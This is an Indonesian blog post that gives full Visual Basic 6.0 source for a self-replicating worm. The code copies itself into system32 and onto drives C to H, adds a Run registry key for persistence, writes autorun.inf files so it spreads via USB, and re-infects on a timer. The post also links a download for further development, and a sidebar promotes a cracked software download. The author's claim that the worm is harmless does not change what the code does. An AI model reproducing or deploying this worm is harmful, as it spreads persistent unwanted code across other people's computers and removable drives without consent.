Skip to main content

Membuat Worm Sederhana dari Visual Basic 6.0



alhamdulillah, satu lagi project yang slesai malam ini. :) berikut adalah project kedua ku, yaitu Worm sederhana.

apa itu worm? google ya? :D hehe

worm ini di buat dari bahasa Basic dengan IDE visual basic 6.0 , worm ini tidak memiliki tujuan jahat. dan hanya bertujuan untuk membuatnya hidup terus dengan menggandakan dirinya ke USB dan PC.

berikut scriptnya :

'Nama       : Bill Tanthowi Jauhari
'tanggal    : 9, januari 2014
'project    : worm
'referensi  : www.google.com , ebook

Dim Nama, direktory As String
'mendapatkan direktory worm
Function tempat()
On Error Resume Next
Dim direktory As String
Nama = App.EXEName & ".exe"
direktory = App.Path
If Right(direktory, 1) <> "\" Then
direktory = direktory & "\"
End If
tempat = direktory & Nama
End Function
'menanam word di registry windows
Function tanam()
On Error Resume Next
Nama = App.EXEName & ".exe"
Shell ("REG ADD HKCU\software\microsoft\windows\currentversion\run /t REG_SZ /v " & Nama & " /d C:\Windows\system32\" & Nama & " /f")
End Function
'mengcopy worm ke semua drive
Function kopi()
On Error Resume Next
Dim filename, direk As String
Dim ulang(6) As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
direktory = "C:\windows\system32\"
filename = direktory & Nama
FileCopy tempat, filename
For i = 1 To 6
direk = ulang(i) & ":\"
If Len(Dir(direk)) <> 0 Then
FileCopy tempat, ulang(i) & ":\" & Nama
End If
Next i

End Function
'pengecekan apakah worm masih ada di PC
Function pengecekan()
On Error Resume Next
Dim ulang(6), hasil As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
direktory = "C:\windows\system32\"
hasil = direktory & Nama
If Len(Dir(hasil)) = 0 Then
kopi
tanam
End If
For i = 1 To 6
If Len(Dir(ulang(i) & ":\" & Nama)) = 0 Then
kopi
End If
Next i
End Function
'membuat file autorun.inf ke semua drive
Function jalan()
On Error Resume Next
Dim namatext As String
Dim ulang(6) As String
ulang(1) = "C"
ulang(2) = "D"
ulang(3) = "E"
ulang(4) = "F"
ulang(5) = "G"
ulang(6) = "H"
Nama = App.EXEName & ".exe"
For i = 1 To 6
namatext = ulang(i) & ":\autorun.inf"
If Len(Dir(namatext)) = 0 Then
Open namatext For Output As #1
Print #1, "[autorun]"
Print #1, "Open=" & Nama
Close #1
End If
Next i
End Function
'fungsi eksekusi
Private Sub Form_Load()
On Error GoTo rusak
kopi
tanam
jalan
pengecekan
Exit Sub
rusak:
Unload Me
End Sub
'timer untuk menjalankan worm
Private Sub Timer1_Timer()
On Error Resume Next
pengecekan
End Sub

apabila ingin mengembangkan lagi, silahkan download filenya di : WORM

WARNING : di mohon untuk teman-teman agar tidak mengcopy ulang link di atas. penulis mencoba untuk mempertahankan agar link tetap hidup dan dapat terus di gunakan oleh pengunjung yang tertarik untuk mendownloadnya. 

Popular posts from this blog

The Advantage of Using HTTP Default Authorization Scheme #DigitalSecurity

pixabay.com Hello Everyone, This day I would like to introduce you to the default header for authorization in HTTP. HTTP auth scheme is a guide or standardization scheme for the authorization header in the HTTP protocol. this standard is using key Authorization in the header and followed by a value that usually filled by key or token. for example : Authorization : <type> <key/token> this standard is the solution of the key header for authorization that really random was provided by developers to build an authorization header for their application, in my experience, developers used to "token" for their key in the header that usually followed by the hash value. the random key makes developers using more time for writing code for getting header key and validating the value which is you could use the library and focus on writing the logic of your application. Depend on Mozilla site , HTTP auth scheme divided by 4 types, such as : Basic  (see  RF

Laravel Tips : Membuat Model, Migration dan Controller dengan Sekali Jalan

  php artisan adalah generator laravel yang berfungsi untuk membuat file kodingan dengan mudah, seperti membuat controller, model, seeder, migration dan masih banyak lagi. artisan hanya bisa di lakukan di dalam lingkungan console, seperti cmd dan terminal. berikut akan saya tunjukan cara membuat controller, model, migration menggunakan php artisan. # membuat controller ketikkan perintah di bawah ini php artisan make:controller BlogController # membuat model ketikkan perintah di bawah ini php artisan make:model Blog # membuat migration ketikkan perintah di bawah ini php artisan make:migration blog # membuat seeder ketikkan perintah di bawah ini php artisan make:seeder BlogSeeder # membuat migration, controller, dan model sekaligus ketikkan perintah di bawah ini php artisan make:model -crm Blog perintah di atas akan mengenerate controller dengan nama BlogController dengan keadaan Resource method tertulis, model

Typer shark Deluxe free full crack

Typer shark Deluxe : software yang akan membantu kita untuk belajar mengetik keyboard dengan cara 10jari, untuk agan2 yang baru belajar komputer pasti teknik pertama yang dilakukan adalah dengan 11jari (kanan 1 + kiri 1 = 11)hahahaha, softaware ini sangat menarik, karna kita belajar 10jari dengan bermain game.. n gamenya interaktif,,, pkoqnya yang tadinya mengetik 11jari, dalam waktu seminggu pasti bisa lancar 10jari... syaratnya harus tekunn...  kalo agan mau ngunduh silahkan : Download screenshot: